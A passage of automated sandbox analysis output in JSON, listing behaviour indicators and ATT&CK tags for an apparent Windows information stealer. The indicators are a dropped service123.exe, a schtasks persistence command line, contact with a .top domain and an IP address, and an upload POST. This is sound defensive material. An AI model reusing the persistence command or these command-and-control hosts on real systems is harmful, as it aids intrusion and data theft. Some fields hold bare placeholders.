49677-2485-004014F0\n GetModuleHandleW@KERNEL32.dll at 49677-26783-008834A3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.dll at 49677-11-004014B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"13/23 Antivirus vendors marked sample as malicious (56% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"DISMHOST.EXE.6A9E4442.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: 00000000-00005700]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – SDBM hashing algorithm","description":"YARA signature for SDBM hashing algorithm file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-223","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched process \"00000000-00005700\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\"\n YARA signature \"INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store\" matched file \"sample.bin\" as \"Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers\"\n YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched file \"sample.bin\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\"\n YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_MFA_Browser_Extension_IDs\" matched file \"sample.bin\" as \"Detect binaries embedding considerable number of MFA browser extension IDs.\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"DISMHOST.EXE.6A9E4442.bin\" claimed CRC 6734784 while the actual is CRC 103114","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"Sleep\n GetTempPathA\n VirtualProtect\n LoadLibraryA\n GetModuleHandleA\n GetStartupInfoA\n GetProcAddress\n GetModuleHandleW\n ShellExecuteA\n SetSecurityDescriptorDacl\n RegOpenKeyExW\n RegCloseKey\n GetVersionExW\n CreateFileW\n FindResourceExW\n CreateThread\n CreateFileMappingW\n OutputDebugStringW\n GetCommandLineW\n UnhandledExceptionFilter\n GetModuleFileNameW\n OutputDebugStringA\n TerminateProcess\n GetModuleHandleExW\n MapViewOfFile\n GetFileAttributesW\n GetVersionExA\n GetTickCount\n GetSystemDirectoryW\n LoadLibraryExW\n LoadLibraryW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"13/23 Antivirus vendors marked sample as malicious (56% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007868.00000001.184625.03610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006488.00000001.179072.05E3F000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006488.00000002.180991.05E3F000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006488.00000002.180991.06BE3000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$45","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"file.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"service123.exe\" called \"OpenMutexA\" with parameter \"jCPhwWRluXsmsRtnTIou\" - (UID: 00000000-00007868)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"file.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsA\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"service123.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$46","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"file.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\cLpwUJljrV (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"file.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\service123.exe\"\" - (UID: 00000000-00006488)\n \"file.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /create /tn \"ServiceData4\" /tr \"%TEMP%\\/service123.exe\" /st 00:01\" - (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"fivevf5vs.top\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"5.53.124.195:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$47","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:6488:64:WilError_01\"\n \"SM0:6488:64:WilError_01\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\SM0:6488:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"jCPhwWRluXsmsRtnTIou\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"Yandexyandex.comhttps://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icohttps://yandex.com/search/?text={searchTerms}&from=os&clid=1836588UTF-8https://suggest.yandex.com/suggest-ff.cgi?part={searchTerms}&{google:cursorPosition}&uil=en&v=3&sn=5\" (Indicator: \"yandex.com\")\n \"485bf7d3-0215-45af-87dc-538868000015[]https://yandex.com/images/search?rpt=imageviewupfile={google:imageThumbnail},original_width={google:imageOriginalWidth},original_height={google:imageOriginalHeight},prg=1\" (Indicator: \"yandex.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76CC0000\n \"file.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72E30000\n \"service123.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76CC0000\n \"service123.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72E30000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76CC0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$48","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\schtasks.exe\" [Source: 00000000-00006488-00000C44-208413922432]\n Observed system executable string:\"\"%WINDIR%\\System32\\schtasks.exe\" /create /tn \"ServiceData4\" /tr \"%TEMP%\\/service123.exe\" /st 00:01\" [Source: 00000000-00006488-00000C44-208413922432]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"service123.exe\" (UID: 00000000-00007868) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"service123.exe\" (UID: 00000000-00007868) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"service123.exe\" (UID: 00000000-00004624) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"service123.exe\" (UID: 00000000-00004624) was launched with modified environment variables: \"PSModulePath, Path, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"service123.exe\" (UID: 00000000-00007868)\n Spawned process \"schtasks.exe\" with commandline \"/create /tn \"ServiceData4\" /tr \"%TEMP%\\\\/service123.exe\" /st 00: ...\" (UID: 00000000-00000720)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"service123.exe\" (UID: 00000000-00007868)\n Spawned process \"schtasks.exe\" with commandline \"/create /tn \"ServiceData4\" /tr \"%TEMP%\\\\/service123.exe\" /st 00: ...\" (UID: 00000000-00000720)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"file.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\service123.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"file.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"file.exe\" queries basic process information of the \"C:\\file.exe\" (UID: 6488)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"file.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"file.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"file.exe\" trying to access non-existent file \"C:\\FILE.EXE.LOCAL\"\n \"file.exe\" trying to access non-existent file \"C:\\file.exe.Local\\\"\n \"file.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\service123.exe:ZONE.IDENTIFIER\"\n \"file.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\service123.exe:Zone.Identifier\"\n \"file.exe\" trying to access non-existent file \"C:\\Windows\\SysWOW64\\schtasks.exe:ZONE.IDENTIFIER\"\n \"file.exe\" trying to access non-existent file \"C:\\Windows\\System32\\schtasks.exe:Zone.Identifier\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"file.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\service123.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"file.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"38dc798\"\n \"lpReserved\": \"0\"}\n \"file.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"39042a0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /v1/upload.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"/upload.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006488.00000000.177152.03900000.00000004.mdmp, 00000000-00006488.00000001.179072.03900000.00000004.mdmp, 00000000-00006488.00000002.180991.03900000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006488.00000001.179072.03900000.00000004.mdmp, 00000000-00006488.00000002.180991.03900000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"file.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1409353589\"\n \"cx\": \"1280\"\n \"cy\": \"800\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"file.exe\" called \"GetComputerNameW\" (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"file.exe\" called \"GetUserNameW\" (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"Base64}\" (Indicator: \"base64\"; Source: \"00000000-00006488.00000000.177152.05DC0000.00000004.mdmp\")\n Found string \"485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images/detail/search?iss=sbiupload&FORM=CHROMI#enterInsightsimageBin={google:imageThumbnailBase64}https://www.bing.com/chrome/newtab\" (Indicator: \"base64\"; Source: \"00000000-00006488.00000000.177152.05DC0000.00000004.mdmp, 00000000-00006488.00000000.177152.05E3F000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00006488.00000002.180991.06BE3000.00000004.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00006488.00000002.180991.06BE3000.00000004.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00007868.00000001.184625.72BE0000.00000004.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00007868.00000001.184625.72BE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve 